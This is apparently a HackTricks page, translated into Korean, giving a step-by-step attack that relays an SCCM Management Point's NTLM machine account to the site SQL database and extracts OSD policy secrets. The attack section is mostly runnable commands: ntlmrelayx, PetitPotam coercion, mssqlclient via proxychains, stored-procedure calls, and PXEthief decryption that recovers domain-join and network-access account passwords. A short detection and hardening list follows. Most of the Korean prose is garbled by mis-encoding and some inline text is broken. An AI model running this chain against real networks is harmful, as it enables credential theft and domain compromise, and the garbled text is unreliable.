SCCM Management Point NTLM Relay to SQL โ OSD Policy Secret Extraction
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
TL;DR
**System Center Configuration Manager (SCCM) Management Point (MP)**๊ฐ SMB/RPC๋ฅผ ํตํด ์ธ์ฆํ๋๋ก ๊ฐ์ ํ๊ณ ํด๋น NTLM ๋จธ์ ๊ณ์ ์ **์ฌ์ดํธ ๋ฐ์ดํฐ๋ฒ ์ด์ค (MSSQL)**์ ์ค๊ณํ๋ฉด smsdbrole_MP / smsdbrole_MPUserSvc ๊ถํ์ ์ป์ต๋๋ค. ์ด๋ฌํ ์ญํ ์ ์ด์ ์ฒด์ ๋ฐฐํฌ (OSD) ์ ์ฑ
๋ธ๋กญ(๋คํธ์ํฌ ์ก์ธ์ค ๊ณ์ ์๊ฒฉ ์ฆ๋ช
, ์์
์ํ์ค ๋ณ์ ๋ฑ)์ ๋
ธ์ถํ๋ ์ผ๋ จ์ ์ ์ฅ ํ๋ก์์ ๋ฅผ ํธ์ถํ ์ ์๊ฒ ํด์ค๋๋ค. ๋ธ๋กญ์ 16์ง์๋ก ์ธ์ฝ๋ฉ/์ํธํ๋์ด ์์ง๋ง PXEthief๋ฅผ ์ฌ์ฉํ์ฌ ๋์ฝ๋ฉ ๋ฐ ๋ณตํธํํ ์ ์์ด ํ๋ฌธ ๋น๋ฐ์ ์ป์ ์ ์์ต๋๋ค.
๊ณ ์์ค ์ฒด์ธ:
- MP ๋ฐ ์ฌ์ดํธ DB ๋ฐ๊ฒฌ โฆ ์ธ์ฆ๋์ง ์์ HTTP ์๋ํฌ์ธํธ
/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA. ntlmrelayx.py -t mssql://<SiteDB> -ts -socks์์.- PetitPotam, PrinterBug, DFSCoerce ๋ฑ์ ์ฌ์ฉํ์ฌ MP ๊ฐ์ .
- SOCKS ํ๋ก์๋ฅผ ํตํด
mssqlclient.py -windows-auth๋ก ์ค๊ณ๋\ ๊ณ์ ์ผ๋ก ์ฐ๊ฒฐ.$ - ์คํ:
use CM_<SiteCode>exec MP_GetMachinePolicyAssignments N'<UnknownComputerGUID>',N''exec MP_GetPolicyBody N'<PolicyID>',N'<Version>'(๋๋MP_GetPolicyBodyAfterAuthorization)
0xFFFEBOM ์ ๊ฑฐ,xxd -r -pโ XML โpython3 pxethief.py 7 <hex>.
OSDJoinAccount/OSDJoinPassword, NetworkAccessUsername/Password ๋ฑ์ ๋น๋ฐ์ด PXE๋ ํด๋ผ์ด์ธํธ์ ์๋์ง ์๊ณ ๋ณต๊ตฌ๋ฉ๋๋ค.
1. ์ธ์ฆ๋์ง ์์ MP ์๋ํฌ์ธํธ ์ด๊ฑฐ
MP ISAPI ํ์ฅ GetAuth.dll์ ์ธ์ฆ์ด ํ์ ์๋ ์ฌ๋ฌ ๋งค๊ฐ๋ณ์๋ฅผ ๋ ธ์ถํฉ๋๋ค(์ฌ์ดํธ๊ฐ PKI ์ ์ฉ์ด ์๋ ๊ฒฝ์ฐ):
| ๋งค๊ฐ๋ณ์ | ๋ชฉ์ |
|---|---|
MPKEYINFORMATIONMEDIA | ์ฌ์ดํธ ์๋ช ์ธ์ฆ์ ๊ณต๊ฐ ํค + x86 / x64 ๋ชจ๋ ์ ์ ์๋ ์ปดํจํฐ ์ฅ์น์ GUID๋ฅผ ๋ฐํํฉ๋๋ค. |
MPLIST | ์ฌ์ดํธ์ ๋ชจ๋ ๊ด๋ฆฌ ์ง์ ์ ๋์ดํฉ๋๋ค. |
SITESIGNCERT | ๊ธฐ๋ณธ ์ฌ์ดํธ ์๋ช ์ธ์ฆ์๋ฅผ ๋ฐํํฉ๋๋ค( LDAP ์์ด ์ฌ์ดํธ ์๋ฒ ์๋ณ). |
๋์ค์ DB ์ฟผ๋ฆฌ๋ฅผ ์ํด clientID ์ญํ ์ ํ GUID๋ฅผ ๊ฐ์ ธ์ต๋๋ค:
curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format -
2. MP ๋จธ์ ๊ณ์ ์ MSSQL๋ก ๋ฆด๋ ์ดํ๊ธฐ
# 1. Start the relay listener (SMBโTDS)
ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support
# 2. Trigger authentication from the MP (PetitPotam example)
python3 PetitPotam.py 10.10.10.20 10.10.10.99 \
-u alice -p P@ssw0rd! -d CONTOSO -dc-ip 10.10.10.10
๊ฐ์ ์คํ์ด ๋ฐ์ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ ๋ด์ฉ์ ๋ณผ ์ ์์ด์ผ ํฉ๋๋ค:
[*] Authenticating against mssql://10.10.10.15 as CONTOSO/MP01$ SUCCEED
[*] SOCKS: Adding CONTOSO/MP01$@10.10.10.15(1433)
3. ์ ์ฅ ํ๋ก์์ ๋ฅผ ํตํด OSD ์ ์ฑ ์๋ณ
SOCKS ํ๋ก์๋ฅผ ํตํด ์ฐ๊ฒฐ (๊ธฐ๋ณธ ํฌํธ 1080):
proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth
CM_CM_001).
3.1 ์ ์ ์๋ ์ปดํจํฐ GUID ์ฐพ๊ธฐ (์ ํ ์ฌํญ)
USE CM_001;
SELECT SMS_Unique_Identifier0
FROM dbo.UnknownSystem_DISC
WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86
3.2 ํ ๋น๋ ์ ์ฑ ๋ชฉ๋ก
EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N'';
๊ฐ ํ์ PolicyAssignmentID, Body (hex), PolicyID, PolicyVersion์ ํฌํจํฉ๋๋ค.
์ ์ฑ ์ ์ง์คํ์ธ์:
- NAAConfig โ ๋คํธ์ํฌ ์ก์ธ์ค ๊ณ์ ์๊ฒฉ ์ฆ๋ช
- TS_Sequence โ ์์ ์ํ์ค ๋ณ์ (OSDJoinAccount/Password)
- CollectionSettings โ ์คํ ๊ณ์ ์ ํฌํจํ ์ ์์ต๋๋ค.
3.3 ์ ์ฒด ๋ณธ๋ฌธ ๊ฒ์
์ด๋ฏธ PolicyID ๋ฐ PolicyVersion์ด ์๋ ๊ฒฝ์ฐ ๋ค์์ ์ฌ์ฉํ์ฌ clientID ์๊ตฌ ์ฌํญ์ ๊ฑด๋๋ธ ์ ์์ต๋๋ค:
EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';
์ค์: SSMS์์ โ๊ฐ์ ธ์จ ์ต๋ ๋ฌธ์โ๋ฅผ ์ฆ๊ฐ์ํค์ธ์ (>65535) ๊ทธ๋ ์ง ์์ผ๋ฉด blob์ด ์๋ฆฝ๋๋ค.
4. blob ๋์ฝ๋ ๋ฐ ๋ณตํธํ
# Remove the UTF-16 BOM, convert from hex โ XML
echo 'fffe3c003f0078โฆ' | xxd -r -p > policy.xml
# Decrypt with PXEthief (7 = decrypt attribute value)
python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml)
๋ณต๊ตฌ๋ ๋น๋ฐ ์:
OSDJoinAccount : CONTOSO\\joiner
OSDJoinPassword: SuperSecret2025!
NetworkAccessUsername: CONTOSO\\SCCM_NAA
NetworkAccessPassword: P4ssw0rd123
5. ๊ด๋ จ SQL ์ญํ ๋ฐ ์ ์ฐจ
๋ฆด๋ ์ด ์ ๋ก๊ทธ์ธ์ ๋ค์์ ๋งคํ๋ฉ๋๋ค:
smsdbrole_MPsmsdbrole_MPUserSvc
์ด ์ญํ ์ ์์ญ ๊ฐ์ EXEC ๊ถํ์ ๋ ธ์ถํ๋ฉฐ, ์ด ๊ณต๊ฒฉ์ ์ฌ์ฉ๋๋ ์ฃผ์ ๊ถํ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
| ์ ์ฅ ํ๋ก์์ | ๋ชฉ์ |
|---|---|
MP_GetMachinePolicyAssignments | clientID์ ์ ์ฉ๋ ์ ์ฑ
๋ชฉ๋ก. |
MP_GetPolicyBody / MP_GetPolicyBodyAfterAuthorization | ์ ์ฒด ์ ์ฑ ๋ณธ๋ฌธ ๋ฐํ. |
MP_GetListOfMPsInSiteOSD | MPKEYINFORMATIONMEDIA ๊ฒฝ๋ก์ ์ํด ๋ฐํ๋จ. |
์ ์ฒด ๋ชฉ๋ก์ ํ์ธํ ์ ์์ต๋๋ค:
SELECT pr.name
FROM sys.database_principals AS dp
JOIN sys.database_permissions AS pe ON pe.grantee_principal_id = dp.principal_id
JOIN sys.objects AS pr ON pr.object_id = pe.major_id
WHERE dp.name IN ('smsdbrole_MP','smsdbrole_MPUserSvc')
AND pe.permission_name='EXECUTE';
6. ํ์ง ๋ฐ ๊ฐํ
- MP ๋ก๊ทธ์ธ ๋ชจ๋ํฐ๋ง โ ํธ์คํธ๊ฐ ์๋ IP์์ ๋ก๊ทธ์ธํ๋ MP ์ปดํจํฐ ๊ณ์ โ ๋ฆด๋ ์ด.
- ์ฌ์ดํธ ๋ฐ์ดํฐ๋ฒ ์ด์ค์์ ์ธ์ฆ์ ์ํ ํ์ฅ ๋ณดํธ (EPA) ํ์ฑํ (
PREVENT-14). - ์ฌ์ฉํ์ง ์๋ NTLM ๋นํ์ฑํ, SMB ์๋ช
๊ฐ์ , RPC ์ ํ (
PetitPotam/PrinterBug์ ๋ํด ์ฌ์ฉ๋ ๋์ผํ ์ํ ์กฐ์น). - IPSec / ์ํธ TLS๋ก MP โ DB ํต์ ๊ฐํ.
์ถ๊ฐ ์ ๋ณด
- NTLM ๋ฆด๋ ์ด ๊ธฐ์ด:
- MSSQL ๋จ์ฉ ๋ฐ ์ฌํ ํ์ฉ:
์ฐธ๊ณ ๋ฌธํ
- ๊ทํ์ ๊ด๋ฆฌ์์ ์ด์ผ๊ธฐํ๊ณ ์ถ์ต๋๋ค: ๊ด๋ฆฌ ํฌ์ธํธ ๋ฆด๋ ์ด๋ฅผ ํตํ ๋น๋ฐ ๋์ฉ
- PXEthief
- ๊ตฌ์ฑ ์ค๋ฅ ๊ด๋ฆฌ์ โ ELEVATE-4 & ELEVATE-5
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


